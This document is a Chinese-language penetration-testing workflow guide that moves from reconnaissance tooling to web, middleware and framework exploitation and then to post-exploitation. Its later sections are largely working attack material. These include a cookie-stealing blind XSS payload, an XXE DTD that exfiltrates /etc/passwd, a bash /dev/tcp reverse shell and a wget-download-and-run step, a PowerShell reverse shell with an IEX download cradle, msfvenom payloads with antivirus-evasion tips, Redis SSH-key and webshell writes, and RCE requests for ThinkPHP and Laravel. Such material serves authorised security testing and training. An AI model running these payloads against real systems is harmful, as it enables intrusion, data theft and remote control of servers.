渗透测试标准流程工具流

1. 目标信息收集

1.1 域名信息

基础概念

  • 域名信息收集是渗透测试的第一步,目的是了解目标的网络资产范围
  • 子域名发现尤为重要,很多安全团队会忽略对子域名的防护

工具使用详解

whois 查询

  • 作用:查询域名注册信息,包括注册人、注册商、注册时间、过期时间、联系邮箱等

  • 详细操作

    whois example.com
  • 关键信息提取

    • 注册邮箱:可能用于社工或密码重置
    • 注册商:判断是否使用隐私保护服务
    • DNS 服务器:了解域名解析服务商

dnsdumpster.com

  • 作用:在线子域名发现工具,无需安装,适合快速查询
  • 详细操作
    1. 访问 https://dnsdumpster.com/
    2. 输入目标域名(如 example.com)
    3. 点击”Search”按钮
    4. 查看结果中的”Subdomains”标签页
    5. 导出结果(点击”Download as CSV”按钮)
  • 实用技巧
    • 关注”MX Records”可能发现邮件服务器
    • “NS Records”可了解DNS服务器信息
    • “Image Maps”可直观查看域名关联

subfinder

  • 作用:自动化子域名扫描工具,支持多数据源

  • 详细操作

    1. 安装subfinder(Linux):

      go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
    2. 基本使用:

      subfinder -d example.com -o subs.txt
    3. 高级使用(指定数据源):

      subfinder -d example.com -sources certspotter,chaos,censys -o subs.txt
    4. 配置API密钥(提高查询限制):

      • 编辑 ~/.config/subfinder/config.yaml
      • 添加各平台API密钥(如censys、chaos等)

httpx 存活检测

  • 作用:批量检测子域名是否存活,过滤无效域名

  • 详细操作

    httpx -l subs.txt -o alive.txt -status-code -title -tech-detect
  • 参数说明

    • -l:指定输入文件
    • -o:指定输出文件
    • -status-code:显示HTTP状态码
    • -title:显示页面标题
    • -tech-detect:检测网站使用的技术
  • 实用技巧

    • 添加 -mc 200,301,302 只保留指定状态码的响应
    • 添加 -ports 80,443,8080,8443 扫描指定端口

oneforall

  • 作用:OneForAll是一款功能强大的子域收集工具

  • 详细操作

    # 如果你是通过pip3安装的依赖则使用以下命令运行示例:
    
    python3 oneforall.py --target example.com run
    python3 oneforall.py --targets ./example.txt run
  • 结果说明

    我们以python3 oneforall.py --target example.com run命令为例,OneForAll在默认参数正常执行完毕会在results目录生成相应结果:

    example.com.csv是每个主域下的子域收集结果。

    all_subdomain_result_1583034493.csv是每次运行OneForAll收集到子域的汇总结果,包含example.com.csv,方便在批量收集场景中获取全部结果。

    result.sqlite3是存放每次运行OneForAll收集到子域的SQLite3结果数据库,其数据库结构如下图:

    其中类似example_com_origin_result表存放每个模块最初子域收集结果。

    其中类似example_com_resolve_result表存放对子域进行解析后的结果。

    其中类似example_com_last_result表存放上一次子域收集结果(需要收集两次以上才会生成)。

    其中类似example_com_now_result表存放现在子域收集结果,一般情况关注这张表就可以了。

1.2 IP 与 C 段

基础概念

  • IP扫描是确定目标服务器开放端口和服务的过程
  • C段指同一网段的IP范围(如192.168.1.0/24)

工具使用详解

ping / nslookup

  • 作用:验证域名解析和网络连通性

  • 详细操作

    ping example.com
    nslookup example.com
  • 实用技巧

    • ping -c 4 example.com:只发送4个ICMP请求
    • nslookup -type=MX example.com:查询邮件服务器记录

masscan

  • 作用:快速端口扫描,适合大范围扫描

  • 详细操作

    1. 安装masscan(Linux):

      git clone https://github.com/robertdavidgraham/masscan
      cd masscan
      make
      sudo cp bin/masscan /usr/local/bin/
    2. 基本使用:

      masscan -p1-65535 192.168.1.1 --rate=1000 -oG masscan_results.txt
    3. 扫描C段:

      masscan -p80,443,8080,8443 192.168.1.0/24 --rate=10000 -oG c_segment.txt
  • 参数说明

    • -p:指定端口范围
    • --rate:设置发包速率(包/秒)
    • -oG:输出为grepable格式
  • 安全提示

    • 高速率扫描可能触发IDS/IPS告警,商业测试中应降低速率
    • 通常建议商业环境中使用1000-5000包/秒

nmap

  • 作用:精准端口扫描和服务识别

  • 详细操作

    1. 基本扫描:

      nmap -sV -sC -p 80,443,8080 192.168.1.1 -oA scan_results
    2. 深度扫描(谨慎使用):

      nmap -sS -sV -sC -p- -T4 -A 192.168.1.1 -oA full_scan
  • 参数详解

    • -sS:SYN扫描(半开扫描,较隐蔽)
    • -sV:探测服务版本
    • -sC:使用默认脚本扫描
    • -p-:扫描所有65535个端口
    • -T4:时间模板(0-5,数字越大越快)
    • -A:启用操作系统检测、版本检测、脚本扫描和traceroute
    • -oA:同时生成normal、xml和grepable格式输出
  • 实用技巧

    • 扫描Web服务器:nmap -sV --script=http-enum,http-vuln* -p 80,443 target.com
    • 扫描数据库:nmap -sV --script=mysql-info,redis-info -p 3306,6379 target.com
    • 保存结果:-oN normal.txt -oX xml.xml -oG grepable.txt

结果分析指南

  • 重点关注高危端口:22(SSH)、3306(MySQL)、6379(Redis)、5432(PostgreSQL)、9200(Elasticsearch)
  • 特别关注非常规端口上的Web服务(如8080、8443、9000等)
  • 记录服务版本,用于后续漏洞匹配

1.3 网站指纹识别

基础概念

  • 指纹识别是确定目标网站使用的技术栈(CMS、框架、语言等)
  • 准确的指纹识别能大幅提高漏洞检测效率

工具使用详解

whatweb(国内指纹识别就有点不推荐了)

  • 作用:命令行网站指纹识别工具

  • 详细操作

    whatweb example.com
    whatweb https://example.com --color=never --no-errors > fingerprint.txt
  • 实用技巧

    • 批量扫描:whatweb -i alive.txt
    • 详细输出:whatweb -v example.com(显示详细匹配过程)
    • 识别插件:whatweb -l plugins(查看内置识别插件)

Wappalyzer(浏览器插件-浏览器商店就可以下载)

  • 作用:浏览器端实时识别网站技术栈
  • 详细操作
    1. 安装Wappalyzer插件(Chrome/Firefox)
    2. 访问目标网站
    3. 点击浏览器右上角Wappalyzer图标查看识别结果
  • 实用技巧
    • 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
    • 右键点击图标可查看详细技术信息

长歌二开雪瞳(浏览器插件-github搜索雪瞳就可以,而开的内容作者都更新了)

  • 作用:浏览器端实时识别网站技术栈
  • 详细操作
    1. 安装插件(Chrome/Firefox)
    2. 访问目标网站
    3. 点击浏览器右上角雪瞳图标查看识别结果
  • 实用技巧
    • 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
    • 右键点击图标可查看详细技术信息
    • 识别分析其中js泄露的api路径和敏感信息

FindSomething(浏览器插件-github搜索即可)

  • 作用:浏览器端实时识别js文件泄露的信息
  • 详细操作
    1. 安装插件(Chrome/Firefox)
    2. 访问目标网站
    3. 点击浏览器右上角雪瞳图标查看识别结果
  • 实用技巧
    • 识别分析其中js泄露的api路径和敏感信息

daydayPOC(浏览器插件-dayday官网下载即可,插件token需要交漏洞poc的积分换取)

  • 作用:DayDayPoc指纹匹配插件是烽火台实验室开发的一款漏洞指纹匹配插件,可帮助用户检测访问的网站是否命中DayDayPoc的漏洞指纹。
  • 详细操作
    1. 安装DayDayPoc插件(Chrome/Firefox)
    2. 访问目标网站
    3. 点击浏览器右上角DayDayPoc图标查看识别结果
  • 实用技巧
    • 识别结果包括:CMS、Web服务器、JavaScript框架、分析工具等
    • 根据指纹匹配可能存在的漏洞(注:这是指纹哈,没有进行过检测的)
    • 缺点:需要积分兑换key,所有poc需要积分兑换,积分不可充值只能以洞换分

框架特定识别(使用指纹识别工具)

  • ThinkPHP识别
    • 访问 /index.php?s=/index/index,查看是否返回”Module not found: index”
    • 或访问 /index.php?s=captcha,查看是否返回验证码错误
  • Spring Boot识别
    • 访问 /actuator,查看是否返回JSON格式的端点列表
    • 标准ico图标
    • 或检查响应头是否包含 X-Application-Context
  • Laravel识别
    • 访问 /index.php,查看响应头是否有 X-Powered-By: PHP/7.x
    • 或访问 /readme.md,查看是否返回Laravel文档

1.4 目录与文件扫描

基础概念

  • 目录扫描是寻找隐藏路径、备份文件和敏感接口的过程
  • 有效的目录扫描能发现常规测试难以发现的漏洞点

工具使用详解

御剑

dirsearch

  • 作用:多线程目录扫描工具

  • 详细操作

    1. 安装:

      git clone https://github.com/maurosoria/dirsearch.git
      cd dirsearch
    2. 基本使用:

      python3 dirsearch.py -u http://example.com -e php,html,js
    3. 高级使用:

      python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt -t 50 -x 403,404 --random-agent
  • 参数详解

    • -u:目标URL
    • -e:扩展名列表
    • -w:指定字典文件
    • -t:线程数(默认30)
    • -x:排除指定状态码
    • --random-agent:使用随机User-Agent
    • -f:强制添加斜杠(测试目录)
  • 实用技巧

    • 使用 -r 参数递归扫描发现的目录
    • 添加 -R 3 限制递归深度为3级
    • 使用 -q 静默模式减少输出

gobuster(工具箱中没有kali中有)

  • 作用:快速目录扫描工具(Go语言编写)

  • 详细操作

    gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,js
  • 参数详解

    • dir:目录扫描模式
    • -u:目标URL
    • -w:字典文件
    • -t:线程数
    • -x:扩展名
    • -k:跳过SSL证书验证
    • -s:指定成功状态码(默认200,204,301,302,307,401,403,405)
    • -e:显示完整URL

推荐字典(kali自带字典):

  • 基础字典:/usr/share/wordlists/dirb/common.txt
  • 大字典:/usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
  • 技术特定字典:
    • PHP:/usr/share/wordlists/seclists/Discovery/Web-Content/CMS/wordpress.txt
    • Java:/usr/share/wordlists/seclists/Discovery/Web-Content/CMS/java.txt

重点关注路径

  • 备份文件:/backup.zip, /backup.tar.gz, /wwwroot.zip
  • 配置文件:/config.php, /web.config, /.env
  • 管理后台:/admin, /manage, /cms, /backend
  • API文档:/api/v1/doc, /swagger, /v2/api-docs
  • 敏感目录:/.git, /.svn, /backup, /test

1.5 企业信息收集工具

enscan

  • 作用:快速收集公司备案的域名以及控股公司

  • 详细操作

    # 默认公司信息 (网站备案, 微博, 微信公众号, app)
    ./enscan -n 小米
    
    # 批量查询( 文本按行分隔 可选PID模式)
    ./enscan -f f.txt
    
    # 对外投资占股100%的公司
    ./enscan -n 小米 -invest 100
    
    ...其他操作查看enscan文档https://github.com/wgpsec/ENScan_GO

1.6 资产测绘平台

  • 作用:资产测绘平台可以快速检索互联网资产

  • 操作

    点击打开网页按照测绘语句进行搜索

2. 漏洞识别与分析

使用burpsuite

2.1 Web 应用漏洞

SQL 注入(SQLi)

基础概念

  • SQL注入是通过操纵输入数据来改变后端SQL查询的攻击方式
  • 类型:报错注入、布尔盲注、时间盲注、堆叠查询

Burp Suite 使用指南

  1. 环境配置

    • 浏览器设置代理为 127.0.0.1:8080
    • 访问 http://burpsuite/ 下载CA证书并安装
    • 验证代理是否工作:访问任意网站,查看Burp Proxy → HTTP history
  2. 基本测试流程

    • 正常浏览目标网站,让Burp捕获请求
    • 在Proxy history中找到疑似有参数的请求(如/product.php?id=1
    • 右键 → “Send to Repeater”
    • 在Repeater中:
      • 原始请求:id=1
      • 测试1:id=1'(检查是否有SQL错误)
      • 测试2:id=1' AND 1=1--(检查页面是否正常)
      • 测试3:id=1' AND 1=2--(检查页面是否异常)
      • 测试4:id=1' AND sleep(5)--(检查是否有5秒延迟)
  3. xiaSQL插件使用

    • 文件位置:tools\gui_other\burpsuite_pro\plugin\xia_sql-main

    • 下载xiaSQL插件:https://github.com/0x727/xiaSQL

    • Burp → Extender → Add → 选择JAR文件

    • 在Proxy或Repeater中右键 → xiaSQL → Scan

    • 等待扫描完成,查看结果:

      • 插件会自动识别注入类型

      • 高亮显示风险参数

      • 提供sqlmap命令直接利用

  4. sqlmap高级使用

    • 从Burp导出请求:

      • 在Proxy history中右键 → “Save items”

      • 选择要保存的请求

    • 使用sqlmap:

      sqlmap -r request.txt --level=3 --risk=2 --batch
    • 获取数据:

      sqlmap -r request.txt --dbs  # 列出数据库
      sqlmap -r request.txt -D db_name --tables  # 列出表
      sqlmap -r request.txt -D db_name -T users --columns  # 列出列
      sqlmap -r request.txt -D db_name -T users -C username,password --dump  # 导出数据
    • 获取Shell:

      sqlmap -r request.txt --os-shell
    • 使用mingdong插件直接联动(将自己sqlmap的位置填写正确)

  5. WAF绕过技巧

    • 空格替换:id=1'/**/UNION/**/SELECT/**/1,2,3--
    • 大小写混合:id=1' UnIoN SeLeCt 1,2,3--
    • 重写(双写)绕过 id=1 ununionion selselectect 1,2,3--
    • 编码绕过:
      • URL编码:id=1%27%20UNION%20SELECT%201,2,3--
      • 双重URL编码:id=1%2527%2520UNION%2520SELECT%25201,2,3--
    • 注释符替换:id=1'/*!50000UNION*//*!50000SELECT*/1,2,3--
    • 等价函数绕过
    • 特殊符号绕过

XSS(跨站脚本)

基础概念

  • XSS是通过注入恶意脚本到网页,当其他用户浏览时执行的漏洞
  • 类型:反射型、存储型、DOM型

Burp Suite 深度使用指南

  1. 基本测试流程

    • 找到所有输入点:URL参数、表单字段、HTTP头

    • 尝试基础Payload:

      <script>alert(1)</script>
      <img src=x onerror=alert(1)>
    • 在Repeater中发送请求,观察响应是否包含Payload且执行

  2. 绕过技巧

    • 过滤<script>

      <img src=x onerror=alert(1)>
      <body onload=alert(1)>
      <svg onload=alert(1)>
    • 过滤括号:

      javascript:alert`1`
    • 过滤关键字:

      aLeRt(1)
      al\u0065rt(1)
  3. Burp联动xray

    • 安装Passive Scan Client插件(插件有兼容问题若是不能使用可设置上游代理或者使用明洞插件)

    • 配置xray被动代理模式:

      xray webscan --listen 127.0.0.1:9898 --html-output report.html

    • Burp中配置Passive Scan Client指向xray代理

    • 正常浏览目标网站,xray会自动检测XSS等漏洞,(使用Passive Scan Client会自动转发流量,这里截图为明洞插件转发)

  4. 盲打XSS

    • 当无法直接看到执行结果时:

      <img src=x onerror="fetch('https://your-dnslog.com/'+document.cookie)">
    • 使用dnslog平台(如http://dnslog.cn)验证

文件上传漏洞

基础概念

  • 文件上传漏洞是通过上传恶意文件(如WebShell)到服务器的漏洞
  • 常见绕过方式:修改Content-Type、扩展名绕过、图片马等

Burp Suite 深度使用指南

  1. 基本测试流程

    • 找到文件上传功能
    • 尝试上传普通图片(如1.jpg)
    • 使用Burp拦截上传请求
    • 修改文件名:shell.php.jpgshell.jpg.php
    • 修改Content-Type:image/jpegimage/pngtext/php
  2. mingdong插件使用

    • 下载mingdong插件(插件未开源但是有大佬破解了的)

    • Burp → Extender → Add → 选择JAR文件

    • 上传文件时,插件会自动尝试多种绕过方式

    • 查看插件结果,了解哪些后缀可上传(也可以自己使用字典去fuzz一下,我一般先自己用字典fuzz)

  3. 图片马制作

    # 创建图片马
    copy 1.jpg/b + shell.php/a shell.jpg
    # Linux
    cat 1.jpg shell.php > shell.jpg
    • 上传后访问shell.jpg,如果服务器解析PHP,可能执行
  4. .htaccess利用(仅Apache):

    • 上传内容为:

      AddType application/x-httpd-php .jpg
    • 文件名:.htaccess

    • 再上传shell.jpg,服务器会将其当作PHP执行

建议

  1. 先测试简单后缀绕过(.php3、.phtml等)
  2. 尝试双写后缀:shell.pphphp
  3. 测试00截断:shell.php%00.jpg
  4. 测试路径截断:shell.php.
  5. 上传后尝试多种访问方式:
    • 直接访问:/uploads/shell.jpg
    • 通过参数:/view.php?file=shell.jpg

XXE(XML外部实体注入)

基础概念

  • XXE是通过操纵XML解析器来读取服务器本地文件或进行SSRF攻击的漏洞
  • 常见于处理XML输入的Web应用(如SOAP、SAML、RSS等)
  • 类型:文件读取、SSRF、拒绝服务

Burp Suite 深度使用指南

  1. 识别测试点

    • 查找XML数据交互点:
      • API接口(特别是SOAP、RESTful XML)
      • 文件上传功能(如Office文档上传)
      • SAML身份验证
    • 检查Content-Type是否为application/xmltext/xml
  2. 基础测试流程

    • 拦截XML请求,修改内容:

      # linux
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
      <root>
        <data>&xxe;</data>
      </root>
      
      # windows
      <?xml version="1.0"?>
      <!DOCTYPE ANY [
           <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
      <a>&xxe;</a>
    • 观察响应是否包含/etc/passwd内容

    • 使用Burp Repeater发送修改后的请求

  3. DNS外带测试(无回显XXE)

    • 创建外部DTD文件(如http://your-server.com/evil.dtd):

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % all "<!ENTITY send SYSTEM 'http://your-dnslog.com/?file=%file;'>">
      %all;
    • XML请求

      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE foo [
        <!ENTITY % dtd SYSTEM "http://your-server.com/evil.dtd">
        %dtd;
      ]>
      <root></root>
    • 使用dnslog平台验证

绕过技巧

  • 过滤SYSTEM

    <!ENTITY xxe PUBLIC "public" "file:///etc/passwd">
  • 过滤file://

    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  • 使用编码:

    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd">
  • 使用其他协议:

    <!ENTITY xxe SYSTEM "expect://id">

SSRF(服务器端请求伪造)

基础概念

  • SSRF是让服务器发起任意请求的漏洞
  • 常见于URL预览、图片下载、API调用等功能
  • 危害:内网探测、读取本地文件、与其它漏洞组合利用

*Burp Suite *

  1. 识别测试点

    • 查找参数包含URL的请求:
      • ?url=http://example.com
      • ?image_url=...
      • ?api=http://...
    • 检查文档转换、网页截图等功能
  2. 基础测试流程

    • 修改URL参数为内网地址:

      ?url=http://127.0.0.1:8080
      ?url=http://169.254.169.254/latest/meta-data/  # AWS元数据
    • 观察响应是否包含内网服务信息

    • 使用Burp Intruder批量测试常见内网IP:

      127.0.0.1
      192.168.0.1
      10.0.0.1
      172.16.0.1

  1. 协议测试

    • 文件协议:

      ?url=file:///etc/passwd
      ?url=file://C:/Windows/system.ini

    • 其他协议:

      ?url=gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A
      ?url=dict://127.0.0.1:11211/info

绕过技巧

  • IP编码绕过:

    http://2130706433/  # 127.0.0.1的十进制
    http://0x7f000001/  # 127.0.0.1的十六进制
    http://127.1/       # 简写形式
  • 协议绕过:

    http://127.0.0.1#.attacker.com
    http://127.0.0.1:80%23@attacker.com

CSRF(跨站请求伪造)

基础概念

  • CSRF是利用用户身份执行非预期操作的漏洞
  • 与XSS不同,CSRF不需要注入脚本,而是利用用户已认证状态
  • 危害:修改密码、转账、权限变更等

Burp Suite 深度使用指南

  1. 识别测试点

    • 查找修改状态的请求(POST/GET):
      • 密码修改
      • 邮箱更改
      • 订单提交
      • 权限设置
    • 检查请求是否缺少CSRF Token
  2. 基础测试流程

    • 复制修改请求(如密码修改)

    • 在新浏览器窗口(未登录状态)中发送

    • 若请求成功,可能存在CSRF

    • 创建HTML POC:

      <html>
        <body>
          <form action="http://target.com/change_password" method="POST">
            <input type="hidden" name="new_password" value="hacked" />
            <input type="submit" value="Submit request" />
          </form>
          <script>
            document.forms[0].submit();
          </script>
        </body>
      </html>
    • 在受害者浏览器中打开,观察是否修改成功

  3. Burp插件:CSRF PoC Generator

    • 自动分析请求生成CSRF POC

    • 支持GET/POST方法

    • 可嵌入图片、iframe等隐蔽载体

命令执行

基础概念

  • 命令执行漏洞是通过输入恶意命令到系统shell导致的漏洞
  • 常见于ping、traceroute等功能

Burp Suite 深度使用指南

  1. 基本测试流程

    • 找到命令执行功能(如ping工具)

    • 尝试基础Payload:

      127.0.0.1; whoami
      127.0.0.1 | whoami
      127.0.0.1 & whoami
    • 观察响应是否包含命令执行结果

  2. 无回显命令执行

    • 使用DNS外带:

      127.0.0.1; nslookup $(whoami).your-dnslog.com
    • 使用HTTP外带:

      127.0.0.1; curl http://your-server.com/log?cmd=$(whoami)
  3. 高级Payload

    • 反弹Shell:

      127.0.0.1; bash -i >& /dev/tcp/your-ip/4444 0>&1
    • 下载执行:

      127.0.0.1; wget http://your-server.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh
    • 其他payload可以从tscan等工具获取

逻辑漏洞

基础概念

  • 逻辑漏洞是由于业务流程设计缺陷导致的漏洞
  • 常见类型:越权访问、密码重置缺陷、支付逻辑漏洞

Burp Suite 深度使用指南

  1. 越权测试流程
    • 使用两个不同权限账号登录(如普通用户A和B)
    • A访问自己的资源(如/user/profile?uid=1001
    • 在Repeater中修改uid=1002,查看能否访问B的资料
    • 使用Intruder批量测试ID:/user/profile?uid=§1001§
  2. Autorize插件使用(只做辅助,说实话不好用)
    • 下载Autorize插件:https://github.com/PortSwigger/autorize
    • Burp → Extender → Add → 选择JAR文件
    • 登录高权限账号(如管理员)
    • 发起一个普通用户才能访问的请求
    • 右键 → Autorize → Test as User [低权限账号]
    • 插件自动比较响应,判断是否存在越权
  3. 密码重置测试
    • 请求密码重置,拦截请求
    • 修改email参数为自己邮箱
    • 或修改token参数为其他用户token
    • 观察是否能重置他人密码
  4. 支付逻辑测试
    • 抓取支付请求
    • 修改amount参数:"amount":0.01"amount":0.00
    • 或修改商品ID指向高价值商品
    • 观察支付是否成功
  5. 越权逻辑测试
    • 抓取查询信息请求
    • 修改手机号码或id值为替他人的
    • 观察是否成功查询到别人信息

2.2 中间件与服务漏洞

Tomcat

  • 详细检测流程

    1. 访问 /manager/html,查看是否弹出登录框
    2. 尝试默认凭证:
      • tomcat:tomcat
      • admin:admin
      • admin:password
      • manager:s3cret
    3. 使用Burp Intruder批量测试
    4. 若登录成功:
      • 上传WAR包获取Shell
      • 使用msf模块:use exploit/multi/http/tomcat_mgr_upload
      • 生成WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=your-ip LPORT=4444 -f war > shell.war

5.工具:tomcat利用工具(检测有限)

WebLogic

  • 详细检测流程

    1. 访问 /console,查看是否跳转到管理界面
    2. 检测SSRF漏洞:
      • 访问 /uddiexplorer/SearchPublicRegistries.jsp
      • 尝试访问内网服务:http://127.0.0.1:7001
    3. 检测T3协议:
      • 使用nmap:nmap -sV -p 7001,8000,9001 target.com
      • 使用T3扫描脚本:python3 t3.py target.com 7001
    4. CVE-2017-10271利用:
      • 构造恶意XML payload
      • 使用Goby一键检测利用

5.工具:weblogic利用工具

Redis

  • 详细检测流程

    1. 检测开放端口:redis-cli -h target.com ping

    2. 未授权访问:

      • 直接连接:redis-cli -h target.com

      • 查看键:KEYS *

      • 写SSH公钥:

        config set dir /root/.ssh
        config set dbfilename authorized_keys
        set xx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAA... your-public-key\n\n\n"
        save
    3. 写WebShell:

      config set dir /var/www/html
      config set dbfilename shell.php
      set webshell "<?php phpinfo(); ?>"
      save

​ 4.工具:mdut连接利用、最新CVE-2025-32023需要得到相同版本的redis-server即可利用

Jenkins

  • 详细检测流程

    1. 访问 /script,查看是否未授权访问

    2. 未授权命令执行:

      println "whoami".execute().text
    3. 使用Jenkins CLI:

      java -jar jenkins-cli.jar -s http://target.com/ groovy = "println 'id'.execute().text"

​ 4.工具:changge漏洞利用工具/Jenkins利用工具

Elasticsearch

  • 详细检测流程

    1. 检测未授权:curl http://target.com:9200/_cat/indices

    2. 数据查询:

      curl 'http://target.com:9200/_search?q=*&pretty'
    3. CVE-2015-1427 RCE:

      POST /_search
      {
        "size": 1,
        "script_fields": {
          "exploit": {
            "lang": "groovy",
            "script": "java.lang.Math.class.forName('java.lang.Runtime').getRuntime().exec('whoami').getText()"
          }
        }
      }

​ 4.使用浏览器插件来连接es数据库查询数据(浏览器插件商店搜索即可)

2.3 框架漏洞

Struts2

  • 详细检测流程

    1. 识别Struts2:

      • URL包含.action.do
      • 响应头包含X-Powered-By: Struts
  1. 使用工具:

    • ABC123大佬的struts2漏洞利用工具

shiro

  • 详细检测流程

    1. 识别shiro:

      • 检查Cookie中是否包含rememberMe字段(通常为AES加密的长字符串)
      • 访问任意页面,查看响应Cookie:Set-Cookie: rememberMe=...
      • 响应中可能包含deleteMe字段
      • 登录页面可能有”记住我”选项
    2. 使用工具:

      • SummerSec、pyke大佬的ShiroExploit漏洞利用工具

FastJson

  • 详细检测流程

    1. 识别fastjson:

      • 检查响应Content-Type是否为application/json
      • 观察JSON响应格式(Fastjson有特定序列化格式)
      • 查看HTTP响应头是否有X-Powered-By: fastjson
      • 响应中可能包含@type字段
      • 构造错误json格式数据观察相应包报错
      • burp插件:fastjson-scan插件、明洞插件
    2. 使用工具:

      • FastjsonExploit

      • JNDI-Injection-Exploit

ThinkPHP

  • 详细检测流程

    1. 识别ThinkPHP:

      • 访问 /index.php?s=/index/index,查看是否报错
      • 访问 /index.php?s=captcha,查看是否返回验证码
    2. 5.0.23 RCE:

      ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    3. 5.1.30 RCE:

      ?s=index/\think\Request/input&filter=system&data=whoami

​ 4.工具:nex121大佬的thinkphp利用工具、蓝莲的thinkphp利用框架

Laravel

  • 详细检测流程

    1. 识别Laravel:

      • 响应头包含 X-Powered-By: PHP/7.x
      • 访问 /index.php,查看是否返回Laravel欢迎页面
    2. debug模式检测:

      • 访问 /_ignition/execute-solution
      • 若返回JSON,说明debug模式开启
    3. 命令执行:

      POST /_ignition/execute-solution HTTP/1.1
      {"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"whoami;","viewFile":"<?php system($_GET['cmd']); ?>"}}

Spring Boot

  • 详细检测流程

    1. 识别Spring Boot:

      • 访问 /actuator,查看是否返回端点列表
      • 访问 /error,查看是否返回JSON格式错误
    2. 敏感端点检测:

      • /actuator/env:查看环境变量(可能包含数据库密码)
      • /actuator/heapdump:下载JVM堆内存快照
      • /actuator/trace:查看请求跟踪
    3. 使用工具:

      • 曾哥的springboot-scan:python3 springboot-scan.py -u http://target.com

3. 漏洞利用与权限获取

3.1 WebShell 管理

基础概念

  • WebShell是通过Web漏洞上传的后门脚本,用于远程控制服务器
  • 常见类型:一句话木马、大马、加密马

工具使用详解

蚁剑

  • 详细配置
    1. 下载安装蚁剑:https://github.com/AntSword-Team/antSword
    2. 添加Shell:
      • URL地址:http://target.com/shell.php
      • 密码:cmd(与一句话木马中的密码一致)
      • 编码器:选择合适的编码器(如php-system)
    3. 常用功能:
      • 文件管理:浏览、上传、下载、编辑文件
      • 终端:执行系统命令
      • 数据库:连接管理数据库
      • 虚拟终端:类似Linux终端的操作界面

冰蝎

  • 详细配置

    1. 下载安装:https://github.com/rebeyond/Behinder
    2. 生成WebShell:
      • 选择PHP/ASPX/JSP等类型
      • 设置密码和密钥
    3. 添加Shell:
      • URL:http://target.com/shell.php
      • 密码:设置的密码
      • 加密方式:选择对应类型
    4. 特点:
      • 流量加密,不易被WAF检测
      • 支持内存马
      • 插件化功能扩展

哥斯拉

3.2 反弹 Shell

基础概念

  • 反弹Shell是让目标服务器主动连接攻击者的Shell
  • 适用于无回显的命令执行漏洞

详细操作指南

tscan直接copy

Linux 反弹 Shell

  • 基本反弹

    bash -i >& /dev/tcp/your-ip/4444 0>&1
  • 详细步骤

    1. 攻击机监听:

      nc -lvvp 4444
    2. 通过漏洞执行反弹命令

    3. 获得目标Shell

  • 高级反弹(绕过过滤):

    mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc your-ip 4444 1>/tmp/backpipe

Windows 反弹 Shell

  • PowerShell反弹

    powershell -c "$client = New-Object System.Net.Sockets.TCPClient('your-ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • 详细步骤

    1. 将上述命令保存为rev.ps1

    2. 攻击机启动HTTP服务:

      python3 -m http.server 80
    3. 通过漏洞执行:

      powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://your-ip/rev.ps1')"
    4. 攻击机监听:

      nc -lvvp 4444

msfvenom 生成

  • Linux反弹

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=your-ip LPORT=4444 -f elf > shell.elf
  • Windows反弹

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=your-ip LPORT=4444 -f exe > shell.exe
  • 免杀技巧

    • 编码:-e x86/shikata_ga_nai -i 5
    • 添加有效载荷:-x template.exe
    • 分段传输:使用分段下载执行

3.3 提权

基础概念

  • 提权是将当前权限提升到更高权限的过程
  • Linux:从普通用户到root
  • Windows:从普通用户到SYSTEM

详细操作指南

Linux 提权

  • 信息收集

    # 系统信息
    uname -a
    cat /etc/issue
    cat /etc/*-release
    
    # 用户信息
    id
    cat /etc/passwd
    cat /etc/shadow
    
    # 权限配置
    sudo -l
    cat /etc/sudoers
    
    # SUID文件
    find / -perm -u=s -type f 2>/dev/null
    
    # 计划任务
    crontab -l
    ls -alh /etc/cron*
  • 提权方法

    1. SUID提权

      • 查找可执行SUID的程序

      • 如发现/usr/bin/find有SUID:

        find . -exec /bin/sh \; -quit
    2. sudo提权

      • 检查sudo -l允许的命令

      • 如允许sudo vim /etc/file

        sudo vim /etc/file
        :!sh
    3. 内核漏洞提权

      • 使用Linux Exploit Suggester:

        wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
        chmod +x linux-exploit-suggester.sh
        ./linux-exploit-suggester.sh
      • 根据建议选择合适的exp编译执行

Windows 提权

  • 信息收集

    # 系统信息
    systeminfo
    
    # 用户信息
    whoami /all
    net user
    net localgroup administrators
    
    # 补丁信息
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    
    # 服务权限
    accesschk.exe -ucqv *
  • 提权方法

    1. 服务权限提权

      • 查找可修改的服务

      • 使用accesschk:

        accesschk.exe -ucqv * | findstr "SERVICE_ALL_ACCESS"
      • 修改服务二进制路径:

        sc config vulnerable_service binpath= "C:\path\to\malicious.exe"
        sc start vulnerable_service
    2. Potato提权

